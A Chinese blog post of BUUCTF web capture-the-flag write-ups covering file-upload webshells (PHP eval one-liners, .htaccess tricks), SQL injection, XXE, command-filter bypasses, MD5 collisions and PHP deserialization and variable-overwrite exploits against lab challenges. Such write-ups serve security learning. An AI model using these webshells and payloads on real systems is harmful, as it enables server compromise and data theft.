[MRCTF2020]你传你马呢

打开得到一张晦气的图片和文件上传点

尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @eval($_POST['sa']);?>,再次上传,上传成功并返回路径,但是这个时候还是png格式,访问了也无法触发,这里就要用到htaccess文件,具体参考Y4师傅写的总结,很详细:.htaccess文件的使用技巧总结

htaccess文件里可以这样写:SetHandler application/x-httpd-php
或者<FilesMatch "你上传的文件名"> SetHandler application/x-httpd-php //或ForceType application/x-httpd-php </FilesMatch>
直接上传htaccess文件会被拦截,抓包修改Content-Type,改为image/png(别的也可以),并且文件名是.hatccess,前面没有别的内容
如图

因为上传的是1.png,所以hatccess文件里写的也是1.png,修改后上传成功,
然后访问图片上传到的目录就行:url/upload/…/1.png
这样就已经解析了一句话木马,蚁剑连接,查看flag即可

[MRCTF2020]Ez_bypass

打开得到:

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
}Please input first

比较简单的bypass,先传入值给gg和id,并且满足===而且gg不能等于id,直接md5基本的绕过,gg[]=1&id[]=2即可,先满足了第一步,再往下看,要POST一个passwd而且要等于1234567但是又不能为数字,这里使用1234567e(e变成任意一个字母都行),即可得到flag

[GYCTF2020]Blacklist

打开得到一个框,sql注入没跑了,输入1,2都回显正常,这个框很熟悉,试着堆叠注入: 1’;show databases;有回显,继续看看
1’;show tables;

继续:1’;show columns from FlagHere;
发现没有直接回显字段

随便输入一个select看看有没有被过滤,结果返回

嗯…不太会了,百度一下,查到这个mysql查询语句-handler
试试吧,输入1’;handler FlagHere read first;发现并不行,换一种思路,因为handler查询需要先打开,再搜索,再关闭,根据堆叠注入原理,构造如下1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
得到flag

[BUUCTF 2018]Online Tool

打开得到,加了一些注释

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);//1,确保用户值传递一个参数给命令//2,用户不能指定更多的参数//3,用户不能执行不同的命令$host = escapeshellcmd($host);//1,确保用户只执行一个命令//2,用户可以指定不限数量的参数//3,用户不能执行不同的命令$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

看到后面的escapeshellcmd,escapeshellarg百度了一下,第一篇文章就是
PHP escapeshellarg()+escapeshellcmd() 之殇
看完了,不太懂nmap的使用,只能去看些wp了,看完以后知道nmap有一个参数-oG可以实现将命令和结果写到文件,所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag.
构造:
?host=’ <?php @eval ($_GET["cnm"]);?> -oG sa.php ’
得到

这个payload不需要连接蚁剑,直接get一个cnm,然后?cnm=system(‘cat /flag’)就能得到flag了
因为访问目录这里搞了很久(wsfw),如图访问就行
得到flag

[GXYCTF2019]BabyUpload

打开是一个文件上传的页面,随便传了个png,jpg都不行,就很奇怪,尝试htaccess文件,文件内容:SetHandler application/x-httpd-php 修改一下type,改成image/jpeg,居然传上去了,然后直接去看了下源码,原来之前被拦截是因为文件太大了(刘汉黄豆),之后的操作就比较常规,尝试一句话木马,但是好像会识别到<?,所以用java调用

<script language='php'>eval($_POST[cmd]);</script>

传上去了,得到文件地址,蚁剑连接,flag在根目录下。

[RoarCTF 2019]Easy Java

打开得到
点一下help,跳出

java.io.FileNotFoundException:{help.docx}

搜了一下,没发现什么,F12看到有个Download?fliename=…,可能是任意文件下载漏洞,不太懂(根本不懂)
JAVA只能看WP了,看完发现要用POST的方式访问才能下载到文件,而且要先看这个小知识点:

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

先下载配置文件/WEB-INF/web.xml,得到

这里图就不截全了,本来是文档打开的。下面的这个FlagController就是需要拿的文件,由于不会java,学长过来教了一下,要想下载这个文件应该是这样写路径

看到里面有base64,稳了,解码得到flag。

[BJDCTF2020]ZJCTF,不过如此

进入得到

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

根据代码逻辑,得到在text中的值必须等于I have a dream,且包含文件next.php,这里利用php伪协议,payload:

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read/convert.base64-encode/resource=next.php

得到一串base64,解密得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

查了下资料,查到这么一段:e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符,相当于eval函数。而/e模式存在漏洞,所以可以利用这一点来拿flag
参考:点这里

那么payload:

next.php?\S*=${eval($_POST['sa'])}

然后hackbar:sa=system(“cat /flag”)
或者还有一种方法,利用里面的getFlag函数:
根据文章内容得知可以构造:

next.php?\S*={$getFlag()}&cmd=highlight_file("/flag");
或者
next.php?\S*=${getflag()}&cmd=show_source("/flag");

即可得到flag

[BJDCTF2020]The mystery of ip

没啥好说的,抓包,发现IP是可控的,尝试模板注入,修改头:加入X-Forwarded-For:{{3*3}},发现IP变成9,再尝试{{system(“cat /flag”)}},得到flag

[安洵杯 2019]easy_web

这题刚拿到手毫无头绪,连base64都没注意…,百度一下wp,知道url中那一串是base64,解了以后还是base64,继续解码一次,得到3535352e706e67,十六进制转字符得555.png,而我们之前查看的源码,那一串就是555.png的base64加密,据此得到逻辑,将index.php经过一次hex,两次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,直接在url处更改,查看源码,把源码中那一大串的base64解密,得到源码(删掉了无效部分):

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
#前面都是加密方式=====
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='https://img-blog.csdnimg.cn/2022010701234579872.gif" . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
#上面就是之前说的那种加密,然后怎么读取也可以从这个代码看出来
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}

过滤了一堆东西,然后下面是一个md5强比较,md5强比较很好解决,随便百度一下就行,重要的是看怎么绕过上面对变量cmd的过滤(我不知道),看了别的师傅的wp才知道咋整,我们先post

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后在cmd处搞,因为ls被禁了所以选择dir看看,发现就几个图片好像也没有flag,bp中改一下dir%20/ 发现
有flag文件,但是cat啥的都被禁了,这里有几种方法,第一种是linux命令中可以ca\t c\at都行,可以直接ca\t /flag。或者用网上说的sort:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。即sort%20/flag,或者直接strings%20/flag,这个只有当flag是文本文件的时候能用,不过一般来说flag都是文本文件

[SWPU2019]Web1

打开靶机,注册登录后

可以发布广告

这样的基本上就是SQL或者XSS,试了一会xss发现并没有什么卵用,于是往SQL注入方向走,输入1’发现报错

输入1’232323

注意到这里的报错信息的’232323’,所以要闭合的话需要在最后一个字加上单引号。
接下来开始注入,fuzz了一下发现过滤了空格和or,那么order by就用不了,空格可以用/**/来绕过。先确定列数
1'/**/union/**/select/**/1,2,3/**/'(注意最后有一个单引号)
一个一个加的我怀疑人生,然后就去看wp了,发现有22列,所以
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
得到

知道可以在2和3处回显,查询表名,根据资料:表sys.schema_auto_increment_columns的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一表。本来想用sys.schema_auto_increment_columns查的,但是发现并不存在这个表,buu用的是mariadb
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/'

那么用mysql.innodb_table_stats,将上面的sys.schema_auto_increment_columns换成mysql.innodb_table_stats即可,得到表名

但是不知道列名,所以用无列名注入,参考资料:无列名注入
过程中发现反引号被过滤了,那就把列名改一改再进行查询,payload
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)p),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/
得到flag.

[0CTF 2016]piapiapia

打开一个登陆界面,随便登了一下登不了,御剑扫到www.zip,下载得到源码,有register.php,注册一个账号长度大于三小于十六,我这用admin 123456。然后登陆,是一个UPDATE.php

profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <img src="https://img-blog.csdnimg.cn/2022010701234579872.gif<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>

update.php(这里只放有用部分)

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

可以看到update.php有一些过滤,最后序列化变量profile,查看update_profile函数(在class.php中)

public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);

有过滤,继续看过滤,可以知道后台会将每个传入的值都检测一遍,如果有出现特殊字符就替换,出现危险词语就替换成hacker。传入的phone值必须为11位,邮箱也有特定的格式。

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);

注意到在profile.php中有$photo=base64_encode(file_get_contents($profile[‘photo’]));那么可以通过改变photo的值,读取flag,又知道flag在config.php中,那么就把photo的内容改为config.php即可。但是直接改的话是会变成
$profile['photo'] = 'upload/' . md5($file['name']);
而传过去的值是序列化后的值,我们就可以通过序列化字符串逃逸,将后面不需要的内容挤出去。从而将反序列化后的内容变成我们想要的,可以参考Y4师傅的博客PHP反序列化总结

这里借用羽师傅的例子,正常传入
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}
我们想要的
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:10:"config.php";}
所以要想方法让";}s:5:"photo";s:10:"config.php";}逃出来,就从nickname入手,我们知道传入$safe数组中的内容都会被替换成hacker,而只有where与hacker的长度不一样,所以可以用where来构造,以至于当序列化后过滤时,可以让我们想要的内容逃出,而";}s:5:"photo";s:10:"config.php";}长度为34,每一个where被替换成hacker后会多一,所以我们要构造34个where,s=34x5+34=204.也就是传入

s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

注意到nickname这里的判断有长度的限制,preg_match函数可以用数组绕过,也就不需要担心长度限制,抓个包改一下就行如图:


最后返回profile.php,查看源代码,有一串base64,解码得到config.php内容,也就得到了flag

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{4859be26-79c7-464f-9fc6-1d0fed5e78ac}';
?>

[网鼎杯 2020 朱雀组]Nmap

进去F12看一下,发现有’‘flag is in /flag’’,百度一下nmap的一些命令,payload
127.0.0.1' -iL /flag -oN sa.txt '
iL扫描到该文件,用oN输出,然后访问url/sa.txt即可得到flag,看了下大佬们的wp也可以用一句话,然后蚁剑连接找到flag

[MRCTF2020]PYWebsite

F12看,有个验证当你输入的code经过md5加密后=0cd4da0223c0b280829dc3ea458d655c时,就调到flag.php,我们直接看flag.php

有个关键词IP,抓包加X-Forwarded-For 127.0.0.1,得到flag.

[极客大挑战 2019]FinalSQL

二分法盲注,脚本小子就可以。

[NPUCTF2020]ReadlezPHP

F12发现有个地址。访问./time.php?source得到源码

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}
@$ppp = unserialize($_GET["data"]);

注意到是echo $b($a);联想到用assert与eval来读取,发现没读到flag,看wp知道是在phpinfo下= =。。
payload:

class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "phpinfo()";$this->b = "assert";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;
$a = serialize($c);
echo $a;

得到O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;},cTrl+f搜一下flag就行。

[BJDCTF2020]Mark loves cat

git源码泄露,下载得源码:

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){flag=flagexit($is);
}echo "the flag is: ".$flag;

变量覆盖漏洞,直接参考这里写的很好了

[GXYCTF2019]禁止套娃

又是git泄露,得源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

过滤了一堆,无参数RCE,依旧是参考文章,写的很好,各种函数的功能也有,这题直接照着wp写的,懒得截图了。点这

[NCTF2019]Fake XML cookbook

标题名字联想到XML注入,开局一个登陆框,用户密码随便输,抓包,发现post了这样一个数据

很多人往往看了payload以后打上去发现并没有回显flag,先放一个payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY aaaa SYSTEM "file:///flag">]>
<user><username>&aaaa;</username><password>123123</password></user>

注意到抓包数据中心username是没有&和分号的,参考知识这里
于是就可以读到flag

[WUSTCTF2020]朴实无华

进去毛线都没有,访问一下常见的一些比如www.zip,flag.php,robots.txt这些,在robots.txt里发现了/fAke_f1agggg.php,进入,什么也没有。抓包看看发现fl4g.php
进入发现源码,由于编码有些问题就不放出来了,第一关是要构造一个num让他小于2020但是加一后又要大于2021,这里直接用类似1e10这样的数绕过,第二关

$md5=$_GET['md5'];if ($md5==md5($md5))

传入一个值,使得这个值等于md5加密后的值即可,弱比较当两者开头都为0e的时候即为相等,找到一个0e215962017传入通过。
最后就是要拿到flag.要求get传参,且不能包含空格和cat

//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "123";system($get_flag);}else{die("123");}
}else{die("123");
}
?>

不能用cat的话还可以用很多别的,比如tac,nl,more,less等,但是一般都是命令加空格加文件名,但是这里不可以输入空格,我们可以用tab来绕过,也就是%09,payload
nl%09./*
当然一开始可以先ls,发现有个fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag,这个应该就是要获取的flag了,还可以用$IFS$9来代替空格即

tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

这样也可以读到flag

BUU WEB刷题记录1(持续更新)相关推荐

  1. CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台--Crypto篇 前言 抄错的字符: /.- 聪明的小羊: ok: [+-<>]: 把猪困在猪圈里: 你喜欢下棋吗: 小山丘的秘密: EN-气泡: 你以为是md5吗 ...

  2. 力扣牛客每日刷题(Python解法持续更新)

    力扣牛客每日刷题(持续更新) 初试结束第15天, 之前简单的处理了部分毕设方面的任务, 对接下来的学习做了个简单的规划 决定每天开始刷几道力扣题提高一下算法的理解,不能让之前学的数据结构都忘记了 每道 ...

  3. LeetCode(力扣) 刷题注意事项 持续更新 ~ ~

    文章目录 刷题无止境,那就让自己快乐一点 刷哪的题 抱前辈大腿 没有思路的题目 提交前检查代码 提交后 可以做的更好 在哪儿看题解 不要试图从题解的代码中理解思路 LeetCode的使用技巧 一次可以 ...

  4. 测试开发工程师成长日记018 - 测试面试必备题记录(持续更新)

    技术模块 一.在搜索引擎中输入汉字就可以解析到对应的域名,请问如何用LoadRunner进行测试? 建立测试计划,确定测试标准和测试范围 设计典型场景的测试用例,覆盖常用业务流程和不常用的业务流程等 ...

  5. CG-CTF web刷题记录

    这里刚入门ctf小白一枚 如果有什么地方说错了或者有待改进的地方欢迎指出喔(-w-) 1.签到题 KEY在哪里? 在网页源码里~fn+F12查看网页源码收获flag一枚 2.签到2 打开题目我们看到题 ...

  6. leetcode刷题总结(持续更新)

    1.关于递归与迭代 递归的性能低但是代码直观,改成迭代后子结构不变 二叉树的迭代实现? 2.动态规划 关于最大值最小值这种最值问题,一般都可以通过动态规划的方法进行判断,某些存在性问题也可以用动态规划 ...

  7. 刷题回顾(持续更新)

    文章目录 misc 图片隐写 流量 密码 脚本 压缩包加密 图片隐写 音频类隐写 web 1,使用burpsuite进行POST需要二部曲: 2,变量覆盖与MD5 3,http 4,信息泄露思路 知识 ...

  8. python金融量化初体验——2020年“大湾区杯”金融数学建模比赛A题《大湾区指数增强策略》刷题总结(持续更新中)

    目录 1.前言 2.准备工作 (1)题目分析: 提供的数据集 问题 3.解题思路: (1)第一问解题思路 4.代码实现 (1)第一题部分代码 1.前言 之前和男朋友一起学完了数据挖掘的相关框架,决定要 ...

  9. 2021.11.08【web刷题记录】

    SSTI模板注入 模板引擎注入 参考https://www.cnblogs.com/wangtanzhi/p/12238779.html https://blog.csdn.net/m0_551094 ...

最新文章

  1. 在Ubuntu 16.04.3 LTS上搭建QUIC交互demo
  2. 物料创建更新相关Table
  3. 装饰器中的@functools.wraps的作用
  4. matlab作业1参考答案,matlab课后习题答案1到6章
  5. Sublime Text 3插件之Emmet:HTML/CSS代码快速编写神器
  6. linux apache24 使用,科学网—linux_centos第24_2次课Apache的安装 - 郭会强的博文
  7. arp 命令详解(安装、arp欺骗防御)
  8. 【Flink】Flink 多并行度下的 watermark触发机制
  9. 使用 Electron 打印到 PDF
  10. 架构组件—Android应用中使用视图绑定(binding)
  11. 深度学习笔记-LeNet和AlexNet
  12. 为什么网络进不去别的计算机,win7在网上邻居上看不到别的电脑如何解决
  13. 7行代码制作一个超声波测距仪
  14. vue中父组件传图片路径src给子组件无法正常显示图片
  15. python 图片生成视频 moviepy_MoviePy
  16. 【unity】快速了解游戏制作流程-制作九宫格简单游戏demo
  17. 下列不属于php的是,下列选项中不属于PHP中跳转的语句是 答案:goto语句
  18. 【过一下4】09-10_经典网络解析
  19. 使用STM32F407读取HX711压力传感器模块
  20. 中秋佳节,有情怀的区块链开发者都怎么过?

热门文章

  1. java 获取arp表,java – Android arp表 – 开发问题
  2. python酒店评论分析_对超过1M的酒店点评进行机器学习,发现有趣的见解
  3. 推荐系统之--CF算法
  4. microsoft 自动激活服务器kms搭建
  5. 省 市 县 三级联动
  6. (附源码)计算机毕业设计SSM基于java平台的心理测试系统
  7. 快速替换指定的文本信息
  8. 五个可以避免的BYOD错误
  9. Linux之C++ socket通信编程
  10. python3输出字体的大小_Python3使用print输出彩色字体